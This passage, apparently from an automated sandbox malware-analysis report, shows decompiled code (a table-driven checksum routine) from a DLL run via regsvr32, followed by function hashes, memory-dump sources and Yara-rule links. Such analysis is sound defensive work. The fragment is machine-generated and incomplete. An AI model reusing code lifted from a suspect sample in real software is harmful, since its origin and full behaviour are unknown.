^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t123 >> 0x18) * 4) ^  *(0x10023020 + (_t123 & 0x000000ff) * 4) ^  *_t251) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (( *(0x10022820 + ((_t100 ^  *_t245) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + ((_t100 ^  *_t245) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t105 >> 0x18) * 4) ^  *(0x10023020 + (_t105 & 0x000000ff) * 4) ^  *_t247) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t212 >> 0x18) * 4) ^  *(0x10023020 + (_t212 & 0x000000ff) * 4) ^  *_t248) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t114 >> 0x18) * 4) ^  *(0x10023020 + (_t114 & 0x000000ff) * 4) ^  *_t249) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t221 >> 0x18) * 4) ^  *(0x10023020 + (_t221 & 0x000000ff) * 4) ^  *_t250) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t123 >> 0x18) * 4) ^  *(0x10023020 + (_t123 & 0x000000ff) * 4) ^  *_t251) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t230 >> 0x18) * 4) ^  *(0x10023020 + (_t230 & 0x000000ff) * 4) ^  *_t252) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t132 >> 0x18) * 4) ^  *(0x10023020 + (_t132 & 0x000000ff) * 4) ^  *_t253;
						_t245 = _t253 + _t242;
						_t100 =  *(0x10022820 + (_t239 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (_t239 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t239 >> 0x18) * 4) ^  *(0x10023020 + (_t239 & 0x000000ff) * 4);
						_t77 =  &_v8;
						 *_t77 = _v8 - 1;
					} while ( *_t77 != 0);
				}
				if(_a4 >= _t242) {
					_v8 = _a4 >> 2;
					do {
						_t103 = _t100 ^  *_t245;
						_a4 = _a4 - _t242;
						_t245 =  &(_t245[_t242]);
						_t92 =  &_v8;
						 *_t92 = _v8 - 1;
						_t100 =  *(0x10022820 + (_t103 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10022c20 + (_t103 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10022420 + (_t103 >> 0x18) * 4) ^  *(0x10023020 + (_t103 & 0x000000ff) * 4);
					} while ( *_t92 != 0);
				}
				if(_a4 != 0) {
					do {
						_t100 = _t100 >> 0x00000008 ^  *(0x10022420 + (( *_t245 & 0x000000ff ^ _t100) & 0x000000ff) * 4);
						_t245 =  &(_t245[1]);
						_t97 =  &_a4;
						 *_t97 = _a4 - 1;
					} while ( *_t97 != 0);
				}
				return  !_t100;
			}

0x100155b5
0x100155be
0x100155c5
0x100155c7
0x100155d6
0x100155dd
0x100155de
0x100155de
0x100155e1
0x00000000
0x00000000
0x00000000
0x100155e1
0x100155c7
0x100155e3
0x100155eb
0x100155ed
0x100155ee
0x100155fa
0x100155fd
0x100155fd
0x100155ff
0x10015632
0x10015634
0x10015667
0x10015669
0x1001569c
0x1001569e
0x100156d1
0x100156d3
0x10015706
0x10015708
0x1001573b
0x1001573f
0x10015741
0x10015774
0x10015776
0x100157a2
0x100157a9
0x100157a9
0x100157a9
0x100155fd
0x100157b5
0x100157bd
0x100157c0
0x100157c0
0x100157c2
0x100157f6
0x100157f8
0x100157f8
0x100157fb
0x100157fb
0x100157c0
0x10015805
0x10015807
0x10015811
0x10015818
0x10015819
0x10015819
0x10015819
0x10015807
0x10015822

Strings

, xrefs: 1001573B

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 2442a032fe555e96626fcb01c8c87d2d2c1019dae1f51cddac8213ea2c506995
Instruction ID: f01bd787dedf167e1482ca304c374cda0500ac7329cd92ac867b5daa351974f2
Opcode Fuzzy Hash: 2442a032fe555e96626fcb01c8c87d2d2c1019dae1f51cddac8213ea2c506995
Instruction Fuzzy Hash: D8716132620662DBE359CFADDCC050AB3E3E7D9311728C725DE14CB26DDA74A96386D0

Uniqueness

Uniqueness Score: -1.00%

Function 010DB1A1, Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

#c, xrefs: 010DB1AC

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID: #c
API String ID: 0-734745980
Opcode ID: 508c579e6cccf9f6c145565238dfaefd9218e5b70773c3b3caf073ba9e61f6ab
Instruction ID: 57395a867c0f6dd3fcfb2088e3a23285b507c1aa0ad1c165b3d63913d4f42272
Opcode Fuzzy Hash: 508c579e6cccf9f6c145565238dfaefd9218e5b70773c3b3caf073ba9e61f6ab
Instruction Fuzzy Hash: 3A418B72810604ABEB04CF38C9853997B71FF41776F29C359ED699E1E5C37487508B98

Uniqueness

Uniqueness Score: -1.00%

Function 010DA4BE, Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

s, xrefs: 010DA4C9

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-754793141
Opcode ID: 3622d32fc5f9b08c913124d0e508c7e89379a7e228392ae7fba1ac02056040bb
Instruction ID: e3428b46b7a99baceef9643458a67df82f406cb090f8cb2335c797bf17580c52
Opcode Fuzzy Hash: 3622d32fc5f9b08c913124d0e508c7e89379a7e228392ae7fba1ac02056040bb
Instruction Fuzzy Hash: 93413D31A10704AFEF04CF64D88A39A7B71FF80335F24C25AEC69994D5C37596A1DB58

Uniqueness

Uniqueness Score: -1.00%

Function 010D4149, Relevance: .8, Instructions: 833COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b9d4e66428f478abd610cee02f5de2a36ba04c57611a2dea5fe05c6051e59ba
Instruction ID: 40f720ef3406474436bb7b2ad1c3586db274a6fc96143e94cbe0ee69225581aa
Opcode Fuzzy Hash: 8b9d4e66428f478abd610cee02f5de2a36ba04c57611a2dea5fe05c6051e59ba
Instruction Fuzzy Hash: 6B924A72804609CFEF059FA0C88A7EEBBF4FF48316F05456ED889AA056D7785124CF69

Uniqueness

Uniqueness Score: -1.00%

Function 1000F045, Relevance: .7, Instructions: 744COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d501db19d51630864ddfa711e7775e3ef03fe8a789e8a66723e986bcec88a3
Instruction ID: 97ac7fdbe07057cd0f8135ca9c522a728b570aaef159d9404766bb961045aa86
Opcode Fuzzy Hash: c4d501db19d51630864ddfa711e7775e3ef03fe8a789e8a66723e986bcec88a3
Instruction Fuzzy Hash: 0072C670E201699FDB08CFA8C4E19BDBBF0FF49341B55849EE55AEB241C634AA41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 010D725E, Relevance: .7, Instructions: 674COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb89e801e276ef17f351ecd1e32e636334ff7b3d4647b004cd7d0683a15d38ec
Instruction ID: 89a8f493406050a014ec9c7a54469ce1ba050bb0c890ac582a71b133685fbdc0
Opcode Fuzzy Hash: bb89e801e276ef17f351ecd1e32e636334ff7b3d4647b004cd7d0683a15d38ec
Instruction Fuzzy Hash: 69726C72814609EFEF04EFA0C8867AEBBF0FF04311F0549AED896AA145D7745264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 10018D30, Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12919bcf1187b2caa825ae8ea9b5055847ad88e373c5c6c54ce2d9113e759b05
Instruction ID: dc98792c687435f187f7fd076066a122bc90bfcae6497a66ae0a7af80b42d420
Opcode Fuzzy Hash: 12919bcf1187b2caa825ae8ea9b5055847ad88e373c5c6c54ce2d9113e759b05
Instruction Fuzzy Hash: 6A62C474D142598FDB48CF99D9909AEFBF2FF88300F658169D415AB34AC734AA42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10018490, Relevance: .6, Instructions: 624COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9721d0172d632c9a4670a02c7bac4bf436af4f01c629a12511364d243ffa9465
Instruction ID: 7577e58fd7833825677b36d68568b7530a3d9bed29acbe553d843887d036f5ca
Opcode Fuzzy Hash: 9721d0172d632c9a4670a02c7bac4bf436af4f01c629a12511364d243ffa9465
Instruction Fuzzy Hash: DF62C474E14259CFDB48CF99D9909AEBBF2FF88300F658169D415AB34AC734AA42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010D6131, Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa3a49ca1a009c945fd399ab84783992d5159c298754a101ca4e1e46886140d5
Instruction ID: 1cb547df5312588a9bc8707fe749439ebdcf73e66576c1f1381941d0cb4247ff
Opcode Fuzzy Hash: fa3a49ca1a009c945fd399ab84783992d5159c298754a101ca4e1e46886140d5
Instruction Fuzzy Hash: B2526872814604EFEF04EFA0C58A7ADBBF0FF44712F1544AED8899A145D77812A4CF29

Uniqueness

Uniqueness Score: -1.00%

Function 100109C5, Relevance: .6, Instructions: 562COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728be386f17dc6d7f933e2a63f9c9888ecada1f642969c20c3d77e2d8b4a5fee
Instruction ID: dc1c2d4c65cb5f20c4d8616357b75d14787fdad16f107120736f00e7b8d732b3
Opcode Fuzzy Hash: 728be386f17dc6d7f933e2a63f9c9888ecada1f642969c20c3d77e2d8b4a5fee
Instruction Fuzzy Hash: FE4258B4E2121A9FDB08CFA8D9909EEBBF1FF48350B554929E415FB301D634AA41CF64

Uniqueness

Uniqueness Score: -1.00%

Function 010D7BF5, Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7bdbea8d6fda3612e62fcd8e8be9f69f1c92f4af54b4a887407abcb1a8b3ae8
